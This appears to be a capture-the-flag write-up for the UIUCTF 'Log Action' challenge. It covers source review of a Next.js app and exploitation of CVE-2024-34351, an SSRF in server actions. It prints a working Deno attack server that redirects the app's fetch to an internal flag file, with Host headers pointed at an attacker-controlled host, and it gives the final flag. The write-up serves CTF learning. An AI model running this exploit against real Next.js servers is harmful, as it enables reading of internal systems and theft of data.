Log Action
Description
I keep trying to log in, but it's not working :'(
Recon
The source code is available for download, so I first spun up a local instance of the challenge with docker-compose up.
The homepage redirects to a login form. The password must be at least 10 characters long, but the validation is client-side, so you can send whatever you like with burp. Still, common credentials like admin:admin are rejected with a "something went wrong" error.

It looks like we've got a Next.js application, but rather than digging through the obfuscated JS in the browser, best to review the source code 🔎
Source Code
The backend simply holds a flag.txt file - does a vulnerability class pop into your mind already? 👀
The frontend has quite a bit of code, so I'll highlight some significant parts. First is the auth.ts. Notice that the admin password is randomised for each login attempt 🧐
export const { auth, signIn, signOut } = NextAuth({
...authConfig,
providers: [
Credentials({
async authorize(credentials) {
const parsedCredentials = z
.object({ username: z.string(), password: z.string() })
.safeParse(credentials);
if (parsedCredentials.success) {
const { username, password } = parsedCredentials.data;
// Using a one-time password is more secure
if (
username === "admin" &&
password === randomBytes(16).toString("hex")
) {
return {
username: "admin",
} as User;
}
}
throw new CredentialsSignin();
},
}),
],
});
There's an /admin endpoint, although the tsx file does nothing other than display "You logged in as admin."
An auth.config.ts has some logic surrounding the admin authentication.
export const authConfig = {
pages: {
signIn: "/login",
},
secret: process.env.AUTH_SECRET,
callbacks: {
authorized({ auth, request: { nextUrl } }) {
const isLoggedIn = !!auth?.user;
const isOnAdminPage = nextUrl.pathname.startsWith("/admin");
if (isOnAdminPage) {
if (isLoggedIn) return true;
return false; // Redirect unauthenticated users to login page
} else if (isLoggedIn) {
return Response.redirect(new URL("/admin", nextUrl));
}
return true;
},
},
providers: [],
} satisfies NextAuthConfig;
Finally, actions.ts contains some more code relating to the authentication.
export async function authenticate(
prevState: string | undefined,
formData: FormData
) {
let foundError = false;
try {
await signIn("credentials", formData);
} catch (error) {
if (error instanceof AuthError) {
foundError = true;
switch (error.type) {
case "CredentialsSignin":
return "Invalid credentials.";
default:
return "Something went wrong.";
}
}
throw error;
} finally {
if (!foundError) {
redirect("/admin");
}
}
}
At this stage, nothing stands out to me as a potential vulnerability. The next step is to check package.json and see if there are any vulnerable dependencies.
"dependencies": {
"bcrypt": "^5.1.1",
"next": "14.1.0",
"next-auth": "^5.0.0-beta.19",
"react": "^18.3.1",
"react-dom": "^18.3.1",
"zod": "^3.23.8"
}
Can you guess which one I'm going to look into? That's right, the only one with a fixed version; next. All the other libraries are set to use the latest available version, so if one of those had a vulnerability that the challenge authors intended to include, the challenge would break as soon as it's patched.
Solution
I proceeded to Google next 14.1.0 exploit, and one of the first results is from Snyk, highlighting an SSRF vulnerability (CVE-2024-34351) that is present in next versions <14.1.1.
So, the SSRF is patched in the very next release after this one - what a coincidence 😆 Maybe this is the vulnerability class you were thinking about earlier?
SSRF
Assetnote discovered the vulnerability, and they released an excellent blog post detailing the discovery (including PoC), which I highly recommend reading in its entirety.
The first part covers an SSRF vuln in the _next/image component, which is interesting but irrelevant to this challenge. However, the second section focuses on "SSRF in Server Actions" - remember we saw an actions.ts file? 💡
I won't cover server actions or dive into the affected code (read the blog!!). Instead, I'll try to stick to the practical steps (TLDR).
- If a server action responds with a redirect starting with
/(e.g., a redirect to/login), the server will fetch the result of the redirect server side and return it to the client. - However, the Host header is taken from the client.
- Therefore, if we set a host header to an internal host, NextJS will fetch the response from that host instead of the app itself (SSRF).
I checked through the source code again, looking for valid redirects:
redirect("/admin")inactions.tsandauth.config.js, but it's only triggered after a successful login.redirect("/login")inpage.tsx(logout), which looks promising!
action={async () => {
"use server";
await signOut({ redirect: false });
redirect("/login");
}}
Fortunately, we don't need to be logged in to access the /logout endpoint 🙏

Therefore, we can intercept the request and insert our ATTACKER_SERVER domain as the Host and Origin header values. Note that the URL doesn't matter since the Next-Action header value is used to identify the action.

The ATTACKER_SERVER gets a hit ✅

We need to exfiltrate data, so let's follow the remainder of the blog post:
- Set up a server that takes requests on any path.
- On any HEAD request, return a 200 with Content-Type:
text/x-component. - On a GET request, return a 302 to our intended SSRF target.
- When NextJS fetches from our server, it will satisfy the preflight check on our HEAD request but will follow the redirect on GET, giving us a full read SSRF!
Putting it all together, we modify the supplied PoC.
Deno.serve((request: Request) => {
console.log(
"Request received: " +
JSON.stringify({
url: request.url,
method: request.method,
headers: Array.from(request.headers.entries()),
})
);
// Head - 'Content-Type', 'text/x-component');
if (request.method === "HEAD") {
return new Response(null, {
headers: {
"Content-Type": "text/x-component",
},
});
}
// Get - redirect to flag
if (request.method === "GET") {
return new Response(null, {
status: 302,
headers: {
Location: "http://backend/flag.txt",
},
});
}
});
So, we will respond to the initial HEAD request with a 200 OK of content-type text/x-component, which triggers a GET request to our server. At this point, we issue a 302 redirect to the flag.txt file on the backend.
That's it - let's serve the PoC using deno.
deno run --allow-net --allow-read main.ts
Listening on http://localhost:8000/
Reissue the request in burp and ensure the requests line up as expected in our server log.

They do, and we receive the fake flag 😊

All that's left is to repeat the exploit against the remote server and receive the real flag 😏
Flag: uiuctf{close_enough_nextjs_server_actions_welcome_back_php}